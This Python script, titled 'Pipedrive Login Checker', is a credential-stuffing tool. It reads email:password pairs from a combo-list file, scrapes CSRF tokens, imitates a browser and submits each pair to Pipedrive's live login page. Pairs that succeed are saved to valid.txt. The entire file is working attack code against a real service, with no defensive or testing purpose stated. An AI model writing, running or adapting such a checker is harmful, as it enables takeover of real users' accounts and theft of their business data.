#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Pipedrive Login Checker
Tests email:password combinations from a text file
Saves working credentials to working.txt
"""

import requests
import re
import time
from urllib.parse import urlparse

# Configuration
LOGIN_URL = "https://app.pipedrive.com/auth/login"
INPUT_FILE = "app.pipedrive.com.txt"  # File with email:password format
OUTPUT_FILE = "valid.txt"  # File to save working credentials
FAILED_FILE = "failed.txt"  # File to save failed credentials
DELAY = 2  # Delay between requests (seconds)

def is_valid_email(email):
    """Check if email format is valid"""
    pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
    return re.match(pattern, email) is not None

def test_login(email, password):
    """Test login credentials"""
    session = requests.Session()
    
    # Set headers to mimic a real browser
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Connection': 'keep-alive',
        'Upgrade-Insecure-Requests': '1',
    }
    
    try:
        # First, get the login page to get any CSRF tokens or session cookies
        print(f"[*] Testing: {email}")
        response = session.get(LOGIN_URL, headers=headers, timeout=10)
        
        # Try to extract CSRF token or other required fields
        import re
        csrf_token = None
        response_text = response.text
        
        # Look for CSRF token in various formats
        csrf_patterns = [
            r'name=["\']csrf["\']\s+value=["\']([^"\']+)["\']',
            r'csrf["\']?\s*[:=]\s*["\']([^"\']+)["\']',
            r'_token["\']?\s*[:=]\s*["\']([^"\']+)["\']',
        ]
        
        for pattern in csrf_patterns:
            match = re.search(pattern, response_text, re.IGNORECASE)
            if match:
                csrf_token = match.group(1)
                break
        
        # Prepare login data
        login_data = {
            'email': email,
            'password': password,
            'remember_me': 'true'
        }
        
        # Add CSRF token if found
        if csrf_token:
            login_data['csrf'] = csrf_token
            login_data['_token'] = csrf_token
        
        # Update headers for POST request
        post_headers = headers.copy()
        post_headers['Content-Type'] = 'application/x-www-form-urlencoded'
        post_headers['Origin'] = 'https://app.pipedrive.com'
        post_headers['Referer'] = LOGIN_URL
        
        # Try to login
        login_response = session.post(
            LOGIN_URL,
            data=login_data,
            headers=post_headers,
            allow_redirects=True,
            timeout=10
        )
        
        # Check if login was successful
        final_url = login_response.url
        
        # Decode response if compressed
        try:
            response_text = login_response.text.lower()
        except:
            # If text decoding fails, try to get status from URL only
            response_text = ""
        
        # Check for clear error indicators (login failed)
        error_indicators = [
            'invalid email or password',
            'incorrect email or password',
            'authentication failed',
            'login failed',
            'please log in to continue',  # Still on login page
            'email or password is incorrect',
            'wrong password',
            'account not found'
        ]
        
        for error in error_indicators:
            if error in response_text:
                print(f"    [-] Login FAILED: {error}")
                return False
        
        # THE MOST IMPORTANT CHECK: If still on login page = FAILED
        if '/auth/login' in final_url:
            print(f"    [-] Login FAILED: Still on login page")
            return False
        
        # Check for success indicators (login successful) - must redirect away from login
        success_indicators = [
            '/app/',
            '/deals',
            '/dashboard',
            '/contacts',
            '/activities',
            'pipedrive.com/app',
        ]
        
        # Check URL for success - if redirected to app = SUCCESS
        for indicator in success_indicators:
            if indicator in final_url:
                print(f"    [+] Login SUCCESS: Redirected to {final_url[:60]}")
                return True
        
        # If redirected away from login but not to known success page, check content
        if '/auth/login' not in final_url and 'pipedrive.com' in final_url:
            # Try to check if it's actually the app (not an error page)
            if response_text and len(response_text) > 100:
                # If we got redirected and have content, likely success
                print(f"    [+] Login SUCCESS: Redirected away from login")
                return True
        
        # Default: if still on login = failed
        print(f"    [-] Login FAILED: Could not confirm success")
        return False
        
    except requests.exceptions.RequestException as e:
        print(f"[!] Error testing {email}: {str(e)}")
        return False
    except Exception as e:
        print(f"[!] Unexpected error for {email}: {str(e)}")
        return False

def extract_credentials(line):
    """Extract email and password from line in various formats"""
    import re
    
    original_line = line
    # Remove URLs if present
    line = re.sub(r'https?://[^\s]+', '', line)
    line = line.strip()
    
    # Find email in line (always look for email pattern first)
    email_pattern = r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b'
    email_match = re.search(email_pattern, line)
    
    if not email_match:
        return None, None
    
    email = email_match.group(0)
    
    # Try format: email:password (colon separator)
    if ':' in line:
        # Split by colon, email should be first part
        colon_parts = line.split(':')
        for i, part in enumerate(colon_parts):
            if email in part:
                # Password is likely in the next part or the rest after email
                if i + 1 < len(colon_parts):
                    password = ':'.join(colon_parts[i+1:]).strip()
                    if password and len(password) >= 3:
                        return email, password
                break
    
    # Try format: tab-separated or space-separated
    # Split by tabs first, then by spaces
    if '\t' in line:
        parts = line.split('\t')
    else:
        parts = line.split()
    
    # Find email index
    email_index = -1
    for i, part in enumerate(parts):
        if email in part:
            email_index = i
            break
    
    if email_index >= 0:
        # Try password after email
        if email_index + 1 < len(parts):
            password = parts[email_index + 1].strip()
            # Clean password (remove special chars that might be separators)
            password = re.sub(r'^[|:\t]+|[|:\t]+$', '', password)
            if password and len(password) >= 3:
                return email, password
        
        # Try password before email
        if email_index > 0:
            password = parts[email_index - 1].strip()
            password = re.sub(r'^[|:\t]+|[|:\t]+$', '', password)
            if password and len(password) >= 3 and not is_valid_email(password):
                return email, password
        
        # Try to find password anywhere in line (longest alphanumeric string that's not email)
        password = ''
        for part in parts:
            part = part.strip()
            # Skip if it's the email, URL, or looks like an email
            if email in part or 'http' in part.lower() or '@' in part or is_valid_email(part):
                continue
            # Clean the part
            clean_part = re.sub(r'^[|:\t]+|[|:\t]+$', '', part)
            # Password is usually a meaningful string (not too short, not too long)
            if len(clean_part) >= 3 and len(clean_part) <= 100 and len(clean_part) > len(password):
                password = clean_part
        
        if password:
            return email, password
    
    return None, None

def main():
    """Main function"""
    print("=" * 60)
    print("Pipedrive Login Checker")
    print("=" * 60)
    print(f"Input file: {INPUT_FILE}")
    print(f"Working credentials → {OUTPUT_FILE}")
    print(f"Failed credentials → {FAILED_FILE}")
    print(f"Delay: {DELAY} seconds between requests")
    print("=" * 60)
    print()
    
    # Read credentials from file
    try:
        with open(INPUT_FILE, 'r', encoding='utf-8', errors='ignore') as f:
            lines = f.readlines()
    except FileNotFoundError:
        print(f"[!] Error: File '{INPUT_FILE}' not found!")
        return
    except Exception as e:
        print(f"[!] Error reading file: {str(e)}")
        return
    
    total = len(lines)
    working = []
    failed = []
    tested = 0
    skipped = 0
    
    print(f"[*] Found {total} lines in {INPUT_FILE}")
    
    # Show first few lines as examples
    print(f"\n[*] Sample lines from file (first 3):")
    for i, line in enumerate(lines[:3], 1):
        if line.strip():
            print(f"    {i}. {line.strip()[:100]}")
    
    # Test parsing on first few lines
    print(f"\n[*] Testing parsing on first few lines...")
    parsed_count = 0
    for i, line in enumerate(lines[:10], 1):
        if line.strip():
            email, password = extract_credentials(line.strip())
            if email and password:
                parsed_count += 1
                if parsed_count <= 3:
                    print(f"    ✓ Line {i}: Found email={email}, password={password[:20]}...")
            else:
                if i <= 3:
                    print(f"    ✗ Line {i}: Could not parse")
    
    if parsed_count == 0:
        print(f"\n[!] WARNING: Could not parse any credentials from first 10 lines!")
        print(f"[!] Please check the file format. Expected: email:password or email password")
        response = input("\nContinue anyway? (y/n): ")
        if response.lower() != 'y':
            return
    
    print(f"\n[*] Starting tests...\n")
    
    # Test each credential
    for line_num, line in enumerate(lines, 1):
        line = line.strip()
        
        # Skip empty lines
        if not line:
            skipped += 1
            continue
        
        # Extract email and password using smart parsing
        email, password = extract_credentials(line)
        
        # Validate email format
        if not email or not is_valid_email(email):
            skipped += 1
            if line_num <= 5:  # Show first 5 errors as examples
                print(f"[!] Line {line_num}: Could not extract valid email from: {line[:80]}")
            continue
        
        # Skip if password is empty
        if not password:
            skipped += 1
            if line_num <= 5:
                print(f"[!] Line {line_num}: Could not extract password for {email}")
            continue
        
        # Test login
        tested += 1
        print(f"\n[{tested}/{total}] Testing: {email}")
        result = test_login(email, password)
        
        if result:
            working.append(f"{email}:{password}")
            print(f"[+] ✓ WORKING: {email}:{password}")
            
            # Save immediately to avoid data loss
            with open(OUTPUT_FILE, 'a', encoding='utf-8') as f:
                f.write(f"{email}:{password}\n")
        else:
            failed.append(f"{email}:{password}")
            print(f"[-] ✗ FAILED: {email}:{password} (wrong password or account issue)")
            
            # Save failed credentials immediately
            with open(FAILED_FILE, 'a', encoding='utf-8') as f:
                f.write(f"{email}:{password}\n")
        
        # Progress update
        if tested % 10 == 0:
            print(f"\n[*] Progress: {tested}/{total} tested, {len(working)} working, {len(failed)} failed, {skipped} skipped\n")
        
        # Delay between requests
        if tested < total:
            time.sleep(DELAY)
    
    # Final summary
    print("\n" + "=" * 60)
    print("SUMMARY")
    print("=" * 60)
    print(f"Total lines: {total}")
    print(f"Tested: {tested}")
    print(f"Skipped: {skipped}")
    print(f"Working credentials: {len(working)} → saved to {OUTPUT_FILE}")
    print(f"Failed credentials: {len(failed)} → saved to {FAILED_FILE}")
    print("=" * 60)

if __name__ == "__main__":
    main()

